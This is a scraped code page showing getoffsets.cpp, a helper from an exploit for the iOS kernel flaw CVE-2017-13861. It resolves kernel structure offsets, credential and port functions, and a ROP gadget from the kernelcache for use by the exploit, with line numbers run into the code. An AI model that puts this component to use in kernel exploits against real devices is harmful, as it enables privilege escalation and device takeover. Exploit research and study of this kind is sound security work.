Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2017-13861/liboffsetfinder64/getoffsets.cpp
Views: 11784
#include <errno.h>1#include <string.h> // strcmp, strerror2#include <sys/utsname.h> // uname34#include "liboffsetfinder64.hpp"5#include "getoffsets.h"67static offsets_t off;8static bool didInit = false;9static tihmstar::offsetfinder64* finder = 0;1011offsets_t* get_offsets()12{13if (!didInit){14finder = new tihmstar::offsetfinder64("/System/Library/Caches/com.apple.kernelcaches/kernelcache");1516off.base = 0xfffffff007004000;17off.sizeof_task = (kptr_t)finder->find_sizeof_task();18off.task_itk_self = (kptr_t)finder->find_task_itk_self();19off.task_itk_registered = (kptr_t)finder->find_task_itk_registered();20off.task_bsd_info = (kptr_t)finder->find_task_bsd_info();21off.proc_ucred = (kptr_t)finder->find_proc_ucred();22off.vm_map_hdr = (kptr_t)finder->find_vm_map_hdr();23off.ipc_space_is_task = (kptr_t)finder->find_ipc_space_is_task();24off.realhost_special = 0x10;25off.iouserclient_ipc = (kptr_t)finder->find_iouserclient_ipc();26off.vtab_get_retain_count = (kptr_t)finder->find_vtab_get_retain_count();27off.vtab_get_external_trap_for_index = (kptr_t)finder->find_vtab_get_external_trap_for_index();28off.zone_map = (kptr_t)finder->find_zone_map();29off.kernel_map = (kptr_t)finder->find_kernel_map();30off.kernel_task = (kptr_t)finder->find_kernel_task();31off.realhost = (kptr_t)finder->find_realhost();32off.copyin = (kptr_t)finder->find_copyin();33off.copyout = (kptr_t)finder->find_copyout();34off.chgproccnt = (kptr_t)finder->find_chgproccnt();35off.kauth_cred_ref = (kptr_t)finder->find_kauth_cred_ref();36off.ipc_port_alloc_special = (kptr_t)finder->find_ipc_port_alloc_special();37off.ipc_kobject_set = (kptr_t)finder->find_ipc_kobject_set();38off.ipc_port_make_send = (kptr_t)finder->find_ipc_port_make_send();39off.osserializer_serialize = (kptr_t)finder->find_osserializer_serialize();40off.rop_ldr_x0_x0_0x10 = (kptr_t)finder->find_rop_ldr_x0_x0_0x10();4142didInit = true;43}44return &off;45}4647kptr_t find_symbol(const char* symbol) {48if (!didInit){49finder = new tihmstar::offsetfinder64("/System/Library/Caches/com.apple.kernelcaches/kernelcache");50didInit = true;51}52return (kptr_t)finder->find_sym(symbol);53}54555657